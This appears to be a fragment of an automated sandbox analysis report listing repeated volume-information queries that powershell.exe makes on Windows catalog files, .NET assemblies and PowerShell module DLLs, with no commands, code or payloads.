Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
